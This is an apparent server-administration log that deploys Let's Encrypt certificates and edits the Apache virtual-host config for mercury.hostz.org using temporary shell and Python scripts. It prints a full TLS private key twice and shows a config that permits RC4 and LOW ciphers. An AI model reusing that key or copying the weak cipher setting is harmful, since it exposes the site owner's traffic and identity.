F1hNGNSGsoXcXz5iDzD6Jdx1DlHwYMW/lYaMoXsCgYEAkZpZ0W9vFt8yuRhWUKYj
hsrA3DCR9aBTH8CiT4NNOVuTZNfYgg45tFSzn+H59h7DqSD2LfJ3VnieTksf11Cu
ySjF+6IWdGxeHFTRuHNpRUhmxO3rZVnsyTMfksW+Iq+dHE9a/4ogsdLQqsLy2o+g
y/IzpphcQD82K4BHPFFDmnc=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-11 06:00:21: 

chmod 755 /tmp/pkp874541; /tmp/pkp874541; rm /tmp/pkp874541

2025-12-11 06:00:21: 


dir=/etc/ssl/certs


2025-12-11 06:00:21: 

PUT: /tmp/pkp676781

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_mercury_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-11 06:00:21: 

chmod 755 /tmp/pkp676781; /tmp/pkp676781; rm /tmp/pkp676781

2025-12-11 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_mercury_us.conf 38

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-11 06:00:22: 

PUT: /tmp/pkp780252

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_mercury_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_mercury_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_mercury_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_mercury_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_mercury_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_mercury_us.conf= 1'
fi


2025-12-11 06:00:22: 

chmod 755 /tmp/pkp780252; /tmp/pkp780252; rm /tmp/pkp780252

2025-12-11 06:00:22: 




2025-12-11 06:00:22: 

PUT: /tmp/pkp804679

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-11 06:00:23: 

chmod 755 /tmp/pkp804679; /tmp/pkp804679; rm /tmp/pkp804679

2025-12-11 06:00:23: 


.


2025-12-11 06:00:23: Establishing a connection
2025-12-11 06:00:24: 

PUT: /tmp/pkp954057

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-11 06:00:26: 

chmod 755 /tmp/pkp954057; /tmp/pkp954057; rm /tmp/pkp954057

2025-12-11 06:00:26: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:2)
                 alias www.n-e-v.info
         port 80 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:2)
*:443                  is a NameVirtualHost
         default server n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
         port 443 namevhost n-e-v.info (/etc/apache2/sites-enabled/n-e-v_www_info.conf:21)
                 alias www.n-e-v.info
         port 443 namevhost mercury.hostz.org (/etc/apache2/sites-enabled/pjy_mercury_us.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-12-11 06:00:26: 

PUT: /tmp/pkp761556

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_mercury_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-11 06:00:26: 

chmod 755 /tmp/pkp761556; /tmp/pkp761556; rm /tmp/pkp761556

2025-12-11 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_mercury_us.conf	1579

<VirtualHost *:80>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/mercury_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_error.log
    SetEnv pkp_uid	35
    SetEnv pkp_owner	nev
    DirectoryIndex	index.html index.htm index.php index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mercury.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mercury
    <Directory /var/www/hostz_mercury>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mercury/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/mercury_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/mercury_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-11 06:00:27: 

PUT: /tmp/pkp868522

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-11 06:00:27: 

chmod 755 /tmp/pkp868522; /tmp/pkp868522; rm /tmp/pkp868522

2025-12-11 06:00:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5361
0a:0b:5d:0b:9b:e9:c3:24:1d:be:c1:74:1c:17:9b:f0

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBmUbVmWuFCPdznIspdO5RL6lMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjExMDUwMTQ1WhcNMjYwMzExMDUwMTQ0WjAcMRowGAYDVQQD
ExFtZXJjdXJ5Lmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANpK2OirhuSMTrU+2s1kxVM+YBB95RKSqlO6hEOZPtf7+G9hb2vw965jclOF
tBEcJUpWiUS4X5LMMw5o6A7jpBd7Pp3aF5cXimSgPRrR5W+7YdlODnx7/0raHIXC
3FpQxmTjEbMFPeFVM76C6/KbwIbTTjtvUiR8hIG2IxiT3CSshq/xx/VdFrxYkUI/
GRrzJjcgU9otVJmQBeLcZGLQ4GzEzdDS6PM6Ga+mlbHFCaU4zIBegVEyf57EMrBa
YGUjYmPNig8jOS07FkY/GYjIsdd91eTZ8W+U3B4Aom03+9ddVGkl9pDm/Oys9YTC
ZNfEZaOQ118+BdJpHnIYc52tyIsCAwEAAaOCAikwggIlMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUtr4PAJgrqetHtfF/MP8dQnAYgz0wHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXJjdXJ5Lmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzM4LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB3
AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmwv+7sQAAAQDAEgw
RgIhALl/+9nFxDJhN3DtZ+O2nGYdTHxKCevEHV4SnHXoaCTfAiEAzXpo0KzjQBtQ
YKe+WEwv+mfFiFYPmYq0oeWlLMkWQcIAfQClyXiSXVdGF4KHDdiJZgtcVWSLfQBA
8uwHaFHRiGkZ9wAAAZsL/vDWAAgAAAUAKyw84QQDAEYwRAIgfHJoOFLtio4ZVZR7
kbzbcwDLoSaFltp9rk2+s9rvK1MCIFH17X521BPz25XZDY0N+d2UuQO/K1U3dIDc
nEUlqxsdMA0GCSqGSIb3DQEBCwUAA4IBAQBQyIeht9g3MxOUI3ttEo+En+FEbxut
WaUQE+5U3Rc5/+xoUD+IJf2BrX6BGA9UvdCHvneOWxuYHVARvjh98Nl5Ije/T81w
Tou5MWz0AhbB2u956twmAh9K0WmTxjJbDHIPNc1u3jTMICQqIUb9zdkSTwJLTRtZ
8EvSUvUlK49fbThM89kyTBkGUPI/elcawQzEkRnoBywQFzyQKjFvKUkFdhqiPK1i
WiVHSb1/7lCDUTSz1ynnHShQ5zf0njNmRD073/bNwC6ZdxNkHWhuMQk1wXHbLwGA
7EibHSCFWKOzmnNoUkI4jIRqrYiYh32Ew2iZW2eXvaqaeB9sx/nRPgUv
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDaStjoq4bkjE61
PtrNZMVTPmAQfeUSkqpTuoRDmT7X+/hvYW9r8PeuY3JThbQRHCVKVolEuF+SzDMO
aOgO46QXez6d2heXF4pkoD0a0eVvu2HZTg58e/9K2hyFwtxaUMZk4xGzBT3hVTO+
guvym8CG0047b1IkfISBtiMYk9wkrIav8cf1XRa8WJFCPxka8yY3IFPaLVSZkAXi
3GRi0OBsxM3Q0ujzOhmvppWxxQmlOMyAXoFRMn+exDKwWmBlI2JjzYoPIzktOxZG
PxmIyLHXfdXk2fFvlNweAKJtN/vXXVRpJfaQ5vzsrPWEwmTXxGWjkNdfPgXSaR5y
GHOdrciLAgMBAAECggEAPolIwMc6+sizV7stBcCDw0hQTwkyEfMQdrItaAxD865M
yuPX/s1mt3/n5cOdBXXRvQ0zgAtt3elACzXEnVdb0BpPovsy3Ocyj4dUWhWdrDe7
XXy+K61+QpxfpXZgmEMhww9GJ8otoxs8mqx5GeTC8B0jAWXv22IMt/hM76KUY7C9
5QFExBmgg/Gh3IilvTC3YaxbkDisoROLltzgIeGmftgzEq6qHNVueXagPsVblUIu
QRdeNDhJCmeBrqgZYgjtuzTb3mEp+nffExW5EJe43+PNwAYSJIK/EltPfDEFHAbY
5bd2VsuE5HxQIyKwrjYx7ruUtj5laMPil3Xgtnf6KQKBgQDuzKzhHbRzYYp1Dwdi
oowkE8ur4e+EC31D+j8DT7zNBH09bLQd27GU35SNMey+bYmrctKdg1bie6hINwNA
rAkCD4IsTdTzMpP4A0JVyFUgs2AIRl9yrdS4QjaWYnErdlQYw9QRF/KeLi2+cBRx
srBEFVAEpx0YxZS8iPbo69Uh9QKBgQDqBAg990zyaswRSiidbLz04Ru55Fuw+rc+
LILw0dLTkw6jbWjOx78fljqPk9NoWPGGeyoiqvV2Z2ZqzkpR6Yflo2lA4uADvpsL
L8q1PVoy/uIZiry7gdSZNwRP7LfFMpTpm+ggszgyE0cLIOmepi2PBQkhj2KjdYCv
XgTPZcQwfwKBgAtMmf2I50nyWpfRXzsWj+UBHskCRtALryCxTZv9gOR+iuKGKzui
cpOlxKStsRMNoc7//uE/HrRWv46zM68ytLZpP3KTODlNslyw4smmUgjbE/cwRUHq
4b7aOzUAcXRqA+6sDXPFm1BKxRVWvlDm8Jo4G/Isah8K8k+9d1lsF0ilAoGAbbQ0
NPBxBxff0J8mSR6HunipKc0O2vm924y8Wa7TmdHPw/dvcbicNW+UxmgzbDB+EWA9
0YC5j6dLkPhiSOIkjhe8KOnywG6jemwOKEa5uTxZvEWY0oI7qxPqlplPUUe0HYu0
F1hNGNSGsoXcXz5iDzD6Jdx1DlHwYMW/lYaMoXsCgYEAkZpZ0W9vFt8yuRhWUKYj
hsrA3DCR9aBTH8CiT4NNOVuTZNfYgg45tFSzn+H59h7DqSD2LfJ3VnieTksf11Cu
ySjF+6IWdGxeHFTRuHNpRUhmxO3rZVnsyTMfksW+Iq+dHE9a/4ogsdLQqsLy2o+g
y/IzpphcQD82K4BHPFFDmnc=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-11 06:00:28: Establishing a connection
2025-12-11 06:00:28: Establishing a connection
2025-12-11 06:00:28: 

PUT: /tmp/pkp371762

#!/bin/bash
if [ -d "/var/www/christadelphia_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-11 06:00:34: 

chmod 755 /tmp/pkp371762; /tmp/pkp371762; rm /tmp/pkp371762

2025-12-11 06:00:34: 


1


2025-12-11 06:00:34: Establishing a connection
2025-12-11 06:00:35: 

PUT: /tmp/pkp993214

#!/bin/bash
mkdir -p "/var/www/christadelphia_www/.well-known/acme-challenge/"
cd "/var/www/christadelphia_www/.well-known/acme-challenge/"
cat > G351ruJJyNnSwTzHx-VVLkMzfcEWOsyt9UFltHciw8U <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
G351ruJJyNnSwTzHx-VVLkMzfcEWOsyt9UFltHciw8U.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 G351ruJJyNnSwTzHx-VVLkMzfcEWOsyt9UFltHciw8U
cat > D1TS9Rq5TspwqncAg2ZmZ9zVRBo3L3DzsfDFhm5Gpg4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
D1TS9Rq5TspwqncAg2ZmZ9zVRBo3L3DzsfDFhm5Gpg4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 D1TS9Rq5TspwqncAg2ZmZ9zVRBo3L3DzsfDFhm5Gpg4


2025-12-11 06:00:35: 

chmod 755 /tmp/pkp993214; /tmp/pkp993214; rm /tmp/pkp993214

2025-12-11 06:00:35: 




2025-12-11 06:00:45: Establishing a connection
2025-12-11 06:00:46: 

PUT: /tmp/pkp707550

#!/bin/bash
mkdir -p "/var/www/christadelphia_www/.well-known/acme-challenge/"
cd "/var/www/christadelphia_www/.well-known/acme-challenge/"
rm G351ruJJyNnSwTzHx-VVLkMzfcEWOsyt9UFltHciw8U
rm D1TS9Rq5TspwqncAg2ZmZ9zVRBo3L3DzsfDFhm5Gpg4


2025-12-11 06:00:46: 

chmod 755 /tmp/pkp707550; /tmp/pkp707550; rm /tmp/pkp707550

2025-12-11 06:00:46: 




2025-12-11 06:00:46: Establishing a connection
2025-12-11 06:00:46: 

PUT: /tmp/pkp784197

#!/bin/bash
temp_file=$(mktemp)
TARGET=d91b2f0a4f6cfa0542190dabbd9574d1.crt

cat > $temp_file <<'endmsg'
a7:73:12:74:f7:6b:6c:38:7f:66:2c:be:19:63:09:96

-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBkzfrLcwbeJnTF3ravLJjGOeMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjExMDUwMjE1WhcNMjYwMzExMDUwMjE0WjAdMRswGQYDVQQD
ExJjaHJpc3RhZGVscGhpYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDhgOIqqXs4/U9MbHVmQF9lZOVN6nvLZXbpJXyt5aMPgDrs4g0hz+J13OVG
jpwknYTY3btEsQerG7RcHkLnUAzfr0ys5Zan52gSjlv2R0UGs1DXYgcjuMDzSCk7
XA1By+jh4ZwhS37z/r1XFf2m2JuMMfxDnYcGdFetyTr4O0vaKHNMEZuNZQg/ey6z
aqfUjUhty36rcZUmVQ9n/jJG8b5EyCn7I2pQPP1O0OHJDyiizqR0oab7nDjuvghz
zyKcGLJomHy6eWRpA++qW3uqCoolK4LHvwbU9nRnsqcYkRKRqL4zhD/FqQMHAA4D
